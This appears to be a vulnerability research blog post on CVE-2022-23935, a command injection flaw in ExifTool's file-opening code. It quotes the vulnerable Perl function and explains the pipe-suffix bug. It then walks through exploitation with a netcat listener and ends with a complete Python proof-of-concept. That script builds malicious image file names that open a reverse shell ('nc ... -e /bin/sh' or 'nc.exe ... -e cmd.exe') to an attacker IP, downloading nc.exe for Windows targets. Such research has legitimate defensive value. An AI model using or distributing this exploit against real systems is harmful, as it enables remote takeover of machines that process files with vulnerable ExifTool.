Post

CVE-2022-23935 - CVE Research

Introduction

🔒 CVE-2022-23935 Summary

FieldInformation
CVE IDCVE‑2022‑23935
CVSS Score7.8 (HIGH)
AffectedExifTool before version 12.38
VulnerabilityOS Command Injection
Release Date25/01/2022

Methodology

lib/Image/ExifTool.pm in ExifTool before 12.38 mishandles a $file =~ /\|$/ check, leading to command injection.

Analyst source code

I started by downloading version 12.34 from the github of Exiftool
Open the Perl file located at lib/Image/ExifTool.pm
The vulnerability was found in the Open function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
sub Open($*$;$)
{
    my ($self, $fh, $file, $mode) = @_;

    $file =~ s/^([\s&])/.\/$1/; # protect leading whitespace or ampersand
    # default to read mode ('<') unless input is a pipe
    $mode = ($file =~ /\|$/ ? '' : '<') unless $mode;
    if ($mode) {
        if ($self->EncodeFileName($file)) {
            # handle Windows Unicode file name
            local $SIG{'__WARN__'} = \&SetWarning;
            my ($access, $create);
            if ($mode eq '>') {
                eval {
                    $access  = Win32API::File::GENERIC_WRITE();
                    $create  = Win32API::File::CREATE_ALWAYS();
                }
            } else {
                eval {
                    $access  = Win32API::File::GENERIC_READ();
                    $access |= Win32API::File::GENERIC_WRITE() if $mode eq '+<'; # update
                    $create  = Win32API::File::OPEN_EXISTING();
                }
            }
            my $share = 0;
            eval {
                unless ($access & Win32API::File::GENERIC_WRITE()) {
                    $share = Win32API::File::FILE_SHARE_READ() | Win32API::File::FILE_SHARE_WRITE();
                }
            };
            my $wh = eval { Win32API::File::CreateFileW($file, $access, $share, [], $create, 0, []) };
            return undef unless $wh;
            my $fd = eval { Win32API::File::OsFHandleOpenFd($wh, 0) };
            if (not defined $fd or $fd < 0) {
                eval { Win32API::File::CloseHandle($wh) };
                return undef;
            }
            $file = "&=$fd";    # specify file by descriptor
        } else {
            # add leading space to protect against leading characters like '>'
            # in file name, and trailing "\0" to protect trailing spaces
            $file = " $file\0";
        }
    }
    return open $fh, "$mode$file";
}
$mode = ($file =~ /\|$/ ? '' : '<') unless $mode; means: if the filename ends with |, open a pipe ($mode = ''), otherwise open in read mode ($mode = '<').
If $mode = '<', then the code runs: open $fh, "<$file" (read the file).
However, $file =~ s/^([\s&])/.\/$1/; only protects against leading whitespace or &, and does not sanitize the rest of the filename.
If I rename the file to a.jpg|whoami| (note: |whoami| at the end), then $mode = '', so code executes: open $fh, "a.jpg|whoami|".

Exploitation

I tested with the file named a.jpg|whoami|

image

Based on the information, the file name is confirmed as a.jpg, not a.jpg|whoami|, which indicates that the exploit was successful. However, since a.jpg doesn’t exist, the whoami command was not executed.
So I added the file a.jpg to the folder and renamed it to a reverse shell payload.

image

Also, open port 4444 on the attacker’s machine to start listening.
1
nc -lvnp 4444
After running, the file a.jpg was opened and the reverse shell connected successfully.

image image

Try sending a message to the victim.

image image

Now, I will write a proof of concept (PoC) for this vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import argparse
import requests
import shutil
import zipfile
import os

parser = argparse.ArgumentParser()
parser.add_argument("victim_os", help="Victim's OS: linux or windows")
parser.add_argument("attacker_ip", help="Attacker's IP address")
parser.add_argument("attacker_port", help="Attacker's port")
args = parser.parse_args()

victim_os = args.victim_os.lower()
attacker_ip = args.attacker_ip
attacker_port = args.attacker_port

image_url = "https://i.pinimg.com/736x/c9/ee/6d/c9ee6d47f7b18fc4e27dc77eb71d53d3.jpg"
response = requests.get(image_url)
with open("image.jpg", "wb") as f:
    f.write(response.content)
print("[+] Image downloaded: image.jpg")

if victim_os == "linux":
    malicious_name = f"image.jpg|nc {attacker_ip} {attacker_port} -e /bin/sh|"
elif victim_os == "windows":
    nc_url = "https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc.exe"
    response = requests.get(nc_url)
    with open("nc.exe", "wb") as f:
        f.write(response.content)
    malicious_name = f"image.jpg|nc.exe {attacker_ip} {attacker_port} -e cmd.exe|"
else:
    print("[-] Invalid OS. Only 'linux' or 'windows' are accepted.")
    exit()

shutil.copyfile("image.jpg", malicious_name)
print(f"[+] Malicious file created: {malicious_name}")
print("Run: nc -lvnp " + attacker_port + " on the attacker's machine to receive the victim's connection.")
This post is licensed under CC BY 4.0 by the author.